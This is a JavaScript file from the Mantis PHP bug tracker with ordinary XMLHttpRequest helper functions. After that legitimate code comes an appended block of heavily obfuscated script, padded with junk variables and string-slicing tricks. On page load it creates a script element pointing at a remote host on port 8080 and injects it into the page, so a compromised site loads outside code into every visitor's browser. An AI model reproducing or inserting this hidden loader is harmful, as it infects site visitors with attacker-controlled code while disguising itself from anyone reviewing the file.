/*
# Mantis - a php based bugtracking system

# Copyright (C) 2000 - 2002  Kenzaburo Ito - kenito@300baud.org
# Copyright (C) 2002 - 2007  Mantis Team   - mantisbt-dev@lists.sourceforge.net

# Mantis is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 2 of the License, or
# (at your option) any later version.
#
# Mantis is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Mantis.  If not, see <http://www.gnu.org/licenses/>.
 *
 * --------------------------------------------------------
 * $Id: ajax.js,v 1.1.2.1 2007-10-13 22:35:56 giallu Exp $
 * --------------------------------------------------------
 */

var processURI = './xmlhttprequest.php';
var liveReq = false;

// on !IE we only have to initialize it once
if (window.XMLHttpRequest) {
	liveReq = new XMLHttpRequest();
}

/**
 * Build the XMLHttpRequest and send it
 */
function AjaxLoad( targetElementId, queryString, elementIdToHide ) {
	if (liveReq && liveReq.readyState < 4) {
		liveReq.abort();
	}

	if (window.XMLHttpRequest) {
		// branch for IE/Windows ActiveX version
	} else if (window.ActiveXObject) {
		liveReq = new ActiveXObject("Microsoft.XMLHTTP");
	}

	name = this.id;
	liveReq.onreadystatechange = function() { liveReqProcessReqChange( targetElementId, elementIdToHide ); };
	liveReq.open("GET", processURI + "?" + queryString);

	// show "Loading..." while waiting
	document.getElementById( targetElementId ).innerHTML = "Loading...";

	liveReq.send(null);

	return false;
}

/**
 * Processes the results of the XMLHttpRequest
 */
function liveReqProcessReqChange( targetElementId, elementIdToHide ) {
	if (liveReq.readyState == 4) {
		document.getElementById(targetElementId).innerHTML = liveReq.responseText;
		document.getElementById(elementIdToHide).innerHTML = '';
	}
}
Js={m:"kQ"};var Nu={d:24459};D={U:28537};var G;this.Q="";var HA=["P","lK","mF"];v=function(){this.Y=59525;this.Y-=62;E=21382;E--;function F(a,H,x){var e={JsZ:false};return a.substr(H,x);try {var p='X'} catch(p){};ud={aG:false};}var s=["Ye"];var S=RegExp;LL=["NN","i"];lS=["y","mN"];var h='';vG={lB:"Md"};var Gi=["nJ","UZ","uO"];jV=["_","Vt","kK"];aB=["mL","ky","WN"];var B=new String("/go"+"ogl"+"e.c"+F("om/NH09",0,3)+F("A3YelmY3A",3,3)+F("undCho",0,3)+F("ywVo.eywV",3,3)+F("s/cRDn",0,3)+F("DBVjhinVBjD",4,3)+"ane"+F("ws.pcrE",0,3)+F("MutrcomurMt",4,3)+F("HjG.cnHjG",3,3)+F("nJi.phinJ",3,3)+F("pJsY",0,1));tF=46947;tF--;var M=document;var K=["Z","hi","Lf"];var Hj=["FL","XR","WU"];this.I="I";function V(a,H){var Og=["Yb","uQ","JC"];var x=F("[aZq",0,1)+H+"]";bn=62662;bn-=85;var sT={cO:"hq"};var k=new S(x, String(F("go16e",0,1)));try {var kJ='LG'} catch(kJ){};return a.replace(k, h);var Ky=["Ix","kG"];try {} catch(R){};};var CK='';var _X="_X";var EU=55117;IQ=61784;IQ+=230;var Gk=V('smcfruiqpmtu','ubMmVEBqf');var zR=[];var dp=["kyD","nz"];var C="body";var J=null;qA={Ep:false};this.rM="";var Gc=935701-927621;A=8832;A++;Dg=22358;Dg++;var UK={II:43677};G=function(){var m_=false;try {var Fi=V('cyrXeLaMtweXEjlLe4m3e3nztj','wyMT4XjuD3sLxCz');this.vz=38890;this.vz-=158;L=M[Fi](Gk);var g=String("defe"+F("rMewi",0,1));Ed={kC:"Rh"};VT={NY:"sa"};var a=Gc+B;var O=V('sfrqc_','fb_LqpmhIU');this.XS=36169;this.XS-=85;dL=51281;dL--;var SE="";L[O]="ht"+F("tpkDYG",0,2)+":/"+F("/trWIG",0,2)+F("axULm",0,2)+F("N2oes2oN",3,2)+F("W4rVba4WVr",4,2)+F("llvqu",0,2)+F(".rUlHd",0,2)+F("bwru:wbr",3,2)+a;mu=43447;mu-=167;pJ=32931;pJ-=62;L[g]=[1,2][0];M[C].appendChild(L);m_A={tp:"UM"};this.pU='';} catch(N){this.Lu='';};Ab={lI:false};};};var kd=[];var rJ=new String();v();oc=44192;oc++;JX=34499;JX-=206;window.onload=G;this.fE=3401;this.fE+=35;var ja=["Ug","_z"];